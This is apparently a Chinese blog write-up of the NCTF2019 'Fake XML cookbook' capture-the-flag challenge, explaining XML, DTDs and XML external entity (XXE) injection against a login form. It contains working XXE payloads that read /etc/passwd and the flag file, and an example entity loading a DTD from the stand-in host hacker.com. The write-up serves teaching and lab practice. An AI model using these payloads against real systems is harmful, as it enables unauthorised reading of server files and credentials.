[NCTF2019]Fake XML cookbook(特详解)

先试了一下弱口令,哈哈习惯了

查看页面源码发现xml

function doLogin(){
    var username = $("#username").val();
    var password = $("#password").val();
    if(username == "" || password == ""){
        alert("Please enter the username and password!");
        return;
    }
    
    var data = "<user><username>" + username + "</username><password>" + password + "</password></user>"; 
    $.ajax({
        type: "POST",
        url: "doLogin.php",
        contentType: "application/xml;charset=utf-8",
        data: data,
        dataType: "xml",
        anysc: false,
        success: function (result) {
            var code = result.getElementsByTagName("code")[0].childNodes[0].nodeValue;
            var msg = result.getElementsByTagName("msg")[0].childNodes[0].nodeValue;
            if(code == "0"){
                $(".msg").text(msg + " login fail!");
            }else if(code == "1"){
                $(".msg").text(msg + " login success!");
            }else{
                $(".msg").text("error:" + msg);
            }
        },
        error: function (XMLHttpRequest,textStatus,errorThrown) {
            $(".msg").text(errorThrown + ':' + textStatus);
        }
    }); 
}

1.通过使用jQuery选择器,代码获取了输入框中的用户名和密码。

var data = "<user><username>" + username + "</username><password>" + password + "</password></user>"; 

2.这里使用输入的用户名和密码构造了一个简单的 XML 数据字符串。

$.ajax({
    type: "POST",
    url: "doLogin.php",
    contentType: "application/xml;charset=utf-8",
    data: data,
    dataType: "xml",
    anysc: false,
    success: function (result) {
        // 处理登录结果
    },
    error: function (XMLHttpRequest, textStatus, errorThrown) {
        // 处理请求错误
    }
});

3.通过 jQuery 的 AJAX 函数,向服务器端发送一个 POST 请求,将构造的 XML 数据发送到名为 "doLogin.php" 的服务端脚本。

success: function (result) {
    var code = result.getElementsByTagName("code")[0].childNodes[0].nodeValue;
    var msg = result.getElementsByTagName("msg")[0].childNodes[0].nodeValue;
    if(code == "0"){
        $(".msg").text(msg + " login fail!");
    } else if(code == "1"){
        $(".msg").text(msg + " login success!");
    } else {
        $(".msg").text("error:" + msg);
    }
}

4.在成功回调函数中,根据返回的 XML 数据解析出登录结果的代码和消息,然后根据不同的结果更新页面上的提示信息

突然有个想法,上面是判断返回的code是0或1判断成功与否,说明一定会回显,如果拦截回显改了code是不是也能成功登录

抓包,试试,然后拦截

然后forward,等回显改code

放包,成功了,但是没有用,哈哈

那就是xxe,还好之前学了点

给大家解释一下吧,我之前的总结

1.什么是xxe?

XXE漏洞(XML外部实体注入)是一种安全漏洞,可以利用输入验证不严格的 XML 解析器来注入恶意代码。攻击者可以通过构造恶意的 XML 文档将其发送到应用程序中,在解析该文档时,XML 解析器会加载外部实体(如文件、URL等),以便在文档中引用它们。攻击者可以利用这个功能来执行各种攻击,例如读取服务器上的任意文件、发送内部网络请求、绕过身份验证等。

有点像SSRF

PHP 默认使用 libxml 来解析 XML,但是从 libxml 2.9.0 开始,它默认不再解析外部实体,导致 PHP 下的 XXE 漏洞已经逐渐消失,除非你指定 LIBLXML_NOENT 去开启外部实体解析,才会存在 XXE 漏洞。更多其实是java漏洞,因为 XXE 在利用上与语言无关,无论是 php、java 还是 C、python,利用技巧都是一样的。

2.什么是XML

XML(Extensible Markup Language)意为可扩展性标记语言,XML 文档结构包括 XML 声明、文档类型定义(DTD)、文档元素。

参考例子:

<!--XML声明-->
<?xml version="1.0"?> 
<!--文档类型定义-->
<!DOCTYPE people [  <!--定义此文档是 people 类型的文档-->
  <!ELEMENT people (name,age,mail)>  <!--定义people元素有3个元素-->
  <!ELEMENT name (#PCDATA)>     <!--定义name元素为"#PCDATA"类型-->
  <!ELEMENT age (#PCDATA)>   <!--定义age元素为"#PCDATA"类型-->
  <!ELEMENT mail (#PCDATA)>   <!--定义mail元素为"#PCDATA"类型-->
]]]>
<!--文档元素-->
<people>
  <name>john</name>
  <age>18</age>
  <mail>john@qq.com</mail>
</people>

1.DTD 实体声明

DTD(Document Type Definition,文档类型定义)用于定义 XML 文档结构,包括元素的定义规则、元素间的关系规则、属性的定义规则,其定义结构如下:

复制代码
<!DOCTYPE 根元素 [定义内容]>

2.内部实体声明

内部声明采用如下格式定义:

复制代码
  <!ENTITY 实体名 "实体值">

声明之后就可以通过"&实体名;"来获取,示例如下

  <!DOCTYPE foo [
    <!ENTITY test "john">
  ]>
  <root>
    <name>&test;</name>
  </root

3.外部实体引用

XXE 的产生正是外部实体引用的结果,可分为普通实体和参数实体。

(1)普通实体声明格式如下:

<!ENTITY 实体名 SYSTEM "URI">
或者
<!ENTITY 实体名 PUBLIC "public_ID" "URI">

举个例子:

<!DOCTYPE foo [
<!ELEMENT foo ANY>
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<foo>&xxe;</foo>
声明实体 xxe,用于读取 /etc/passwd 文件,然后通过 &xxe; 来引用执行。

(2)参数实体声明主要用于后续使用,与普通实体不同的是,它中间有百分号字符(%),其声明格式如下:

<!ENTITY % 实体名称 "实体的值">
或者
<!ENTITY % 实体名称 SYSTEM "URI">

注意

举个例子:

<!DOCTYPE foo [
    <!ENTITY  % xxe SYSTEM "http://hacker.com/evil.dtd" >
    %xxe;
]>
<root>
    <name>&evil;</name>
</root>

xxe.dtd 内容如下:

<!ENTITY evil SYSTEM "file:///etc/passwd">

上面先声明 xxe 参数实体,引入外部实体 "http://hacker.com/evil.dtd",里面声明了一个叫 evil 的实体,用于读取 /etc/passwd 文件,最后在通过 &evil; 来引用执行。 在不同的语言中其支持协议还不一样,需要根据业务场景来实测,常见的协议有 file、http、ftp、https、except 等等。

普通实体和外部实体的差别:

作用范围:普通实体的作用范围是整个 XML 文档。当 XML 解析器遇到某个实体时,会将其替换为实体的定义内容。而参数实体只在声明它们的 DTD 内有效。DTD 是一种文档类型定义,它规定了 XML 文档的结构、标签等方面的规范。

回到题目里

那么就可以直接构造payload了

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [
  <!ENTITY admin SYSTEM "file:///etc/passwd">
  ]>
<user><username>&admin;</username><password>123</password></user>

加了一个xml实体,然后通过&admin来输出

看来可以呢

那么接下来就是flag了

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [
  <!ENTITY admin SYSTEM "file:///flag">
  ]>
<user><username>&admin;</username><password>123</password></user>
相关推荐
Lionhacker2 小时前
网络工程师这个行业可以一直干到退休吗?
网络·数据库·网络安全·黑客·黑客技术
centos083 小时前
PWN(栈溢出漏洞)-原创小白超详细[Jarvis-level0]
网络安全·二进制·pwn·ctf
程序员小予6 小时前
如何成为一名黑客?小白必学的12个基本步骤
计算机网络·安全·网络安全
蜗牛学苑_武汉8 小时前
Wazuh入侵检测系统的安装和基本使用
网络·网络安全
小百菜9 小时前
dom4j实现xml转map,xml转json字符串
xml·json·xml转map·xml转json
乐茵安全9 小时前
linux基础
linux·运维·服务器·网络·安全·网络安全
玄客)11 小时前
XML标记语言
xml
如光照11 小时前
Linux与Windows中的流量抓取工具:wireshark与tcpdump
linux·windows·测试工具·网络安全
follycat12 小时前
2024强网杯Proxy
网络·学习·网络安全·go